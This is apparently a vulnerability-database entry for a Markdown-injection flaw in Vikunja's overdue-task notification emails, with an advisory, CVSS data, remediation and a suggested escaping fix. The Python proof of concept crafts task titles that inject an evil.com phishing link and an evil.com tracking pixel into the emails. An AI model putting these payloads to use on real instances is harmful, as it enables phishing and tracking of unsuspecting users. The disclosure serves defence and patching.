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Python CVE-2026-35600

| EUVDEUVD-2026-21427 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-10 https://github.com/go-vikunja/vikunja GHSA-45q4-x4r9-8fqj
5.4
CVSS 3.1 · GitHub Advisory
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GitHub Advisory PRIMARY
5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

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CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

4
EUVD ID Assigned
Apr 10, 2026 - 16:00 euvd
EUVD-2026-21427
Analysis Generated
Apr 10, 2026 - 16:00 vuln.today
Patch released
Apr 10, 2026 - 16:00 nvd
Patch available
CVE Published
Apr 10, 2026 - 15:34 nvd
MEDIUM 5.4

DescriptionGitHub Advisory

Summary

Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails.

Details

The overdue task notification at pkg/models/notifications.go:360 constructs a Markdown list entry:

go
overdueLine += `* [` + task.Title + `](` + config.ServicePublicURL.GetString() + "tasks/" + strconv.FormatInt(task.ID, 10) + `) ...`

The task title is placed inside Markdown link syntax [TITLE](URL). A title containing ] and [ breaks the link structure. The assembled Markdown is converted to HTML by goldmark at pkg/notifications/mail_render.go:214, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows <a href> and <img src> with http/https URLs, the injected links and images survive sanitization and reach the email recipient.

The same pattern affects multiple notification types at notifications.go lines 72, 176, 227, and 318.

Proof of Concept

Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink).

python
import requests

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json()
# create task with markdown injection in title + past due date
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": 'test](https://evil.com) [Click to verify your account',
    "due_date": "2026-03-26T00:00:00Z"})
# create task with tracking pixel injection
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": '![](https://evil.com/track.png?user=bob)',
    "due_date": "2026-03-26T00:00:00Z"})
# enable overdue reminders for the user
requests.post(f"{API}/user/settings/general", headers=h, json={
    "email_reminders_enabled": True,
    "overdue_tasks_reminders_enabled": True,
    "overdue_tasks_reminders_time": "09:00"})
# wait for the overdue notification cron to fire, then inspect the email

The overdue notification email HTML contains:

html
<li>
  <a href="https://evil.com">test</a>
  <a href="http://vikunja.example/tasks/5">Click to verify your account</a>
  (Shared), since one day
</li>
<li>
  <a href="http://vikunja.example/tasks/6">
    <img src="https://evil.com/track.png?user=bob">
  </a>
  (Shared), since one day
</li>

The attacker's evil.com link appears as a clickable link in a legitimate Vikunja notification email. The tracking pixel loads when the email is opened.

Impact

An attacker with write access to a shared project can craft task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because these links appear within legitimate Vikunja notification emails from the configured SMTP server, recipients are more likely to trust and click them.

Recommended Fix

Escape Markdown special characters in task titles before embedding them in Markdown content:

go
func escapeMarkdown(s string) string {
    replacer := strings.NewReplacer(
        "[", "\\[", "]", "\\]",
        "(", "\\(", ")", "\\)",
        "!", "\\!", "`", "\\`",
        "*", "\\*", "_", "\\_",
        "#", "\\#",
    )
    return replacer.Replace(s)
}

--- *Found and reported by aisafe.io*

AnalysisAI

Vikunja task title injection in overdue email notifications allows authenticated attackers to embed phishing links and tracking pixels in legitimate SMTP emails by breaking Markdown link syntax with special characters. The vulnerability affects task notification rendering across multiple notification types in Vikunja prior to v2.3.0, where task titles are concatenated directly into Markdown without escaping, survive goldmark rendering and bluemonday sanitization (which intentionally permits <a> and <img> tags), and reach email recipients as trusted-source links within official Vikunja notifications.

Technical ContextAI

Vikunja constructs overdue task notifications by concatenating user-controlled task titles directly into Markdown link syntax at pkg/models/notifications.go:360 without escaping Markdown special characters. The constructed Markdown is rendered to HTML by the goldmark parser and then sanitized by bluemonday's UGCPolicy at pkg/notifications/mail_render.go:214. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) stems from the assumption that goldmark → bluemonday sanitization provides output encoding protection; however, bluemonday's UGCPolicy explicitly permits <a href> and <img src> attributes with http/https schemes for legitimate use cases. When a task title contains Markdown metacharacters like ]( and [, it breaks the intended link structure and allows injection of attacker-controlled URLs that survive the sanitization boundary. The affected code pattern appears in multiple notification types (task comments, assignment notifications, list sharing notifications) at lines 72, 176, 227, 318, and 360 in notifications.go, indicating a systemic input validation gap in the notification rendering pipeline.

RemediationAI

Upgrade Vikunja to v2.3.0 or later, which includes the fix to escape Markdown special characters in task titles before rendering notifications. The fix implements a replacer function to escape characters including [, ], (, ), !, backtick, *, _, and # in user-controlled strings before Markdown processing. For installations unable to upgrade immediately, the mitigation is to restrict task creation and editing permissions to trusted internal users only, reducing the attack surface to authenticated adversaries with project write access. See the official security advisory at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-45q4-x4r9-8fqj and the fix details at https://github.com/go-vikunja/vikunja/pull/2580 for implementation verification.

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